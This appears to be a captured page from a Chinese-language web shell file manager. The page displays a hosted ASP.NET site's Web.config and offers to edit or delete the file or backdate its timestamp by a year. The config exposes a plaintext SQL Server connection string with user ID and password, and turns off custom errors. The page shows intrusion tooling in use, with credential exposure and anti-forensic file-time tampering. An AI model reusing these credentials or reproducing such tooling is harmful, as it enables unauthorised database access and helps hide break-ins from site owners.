文件操作 - Web.config
返回文件管理
返回主菜单
删除本文件
文件: E:\HostingSpaces\kimblycr\alex.kimbly.in\wwwroot\Web.config
编辑文件内容
<?xml version="1.0" encoding="utf-8"?> <!-- For more information on how to configure your ASP.NET application, please visit http://go.microsoft.com/fwlink/?LinkId=169433 --> <configuration> <connectionStrings> <add name="AlexLibraryConnectionString" connectionString="Data Source=sharedmssql7.securehostdns.com,1234;Initial Catalog=AlexLibrary;Persist Security Info=True;User ID=kimbly;Password=Password@1234" providerName="System.Data.SqlClient" /> </connectionStrings> <system.web> <compilation /> <customErrors mode="Off" /> </system.web> <runtime> <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1"> <dependentAssembly> <assemblyIdentity name="Newtonsoft.Json" publicKeyToken="30ad4fe6b2a6aeed" culture="neutral" /> <bindingRedirect oldVersion="0.0.0.0-4.5.0.0" newVersion="4.5.0.0" /> </dependentAssembly> </assemblyBinding> </runtime> <system.webServer> <directoryBrowse enabled="false" /> <defaultDocument> <files> <clear /> <add value="index.aspx" /> </files> </defaultDocument> <httpErrors errorMode="Detailed" existingResponse="PassThrough" /> </system.webServer> </configuration>
修改文件时间
将文件时间修改为当前时间的前一年
删除文件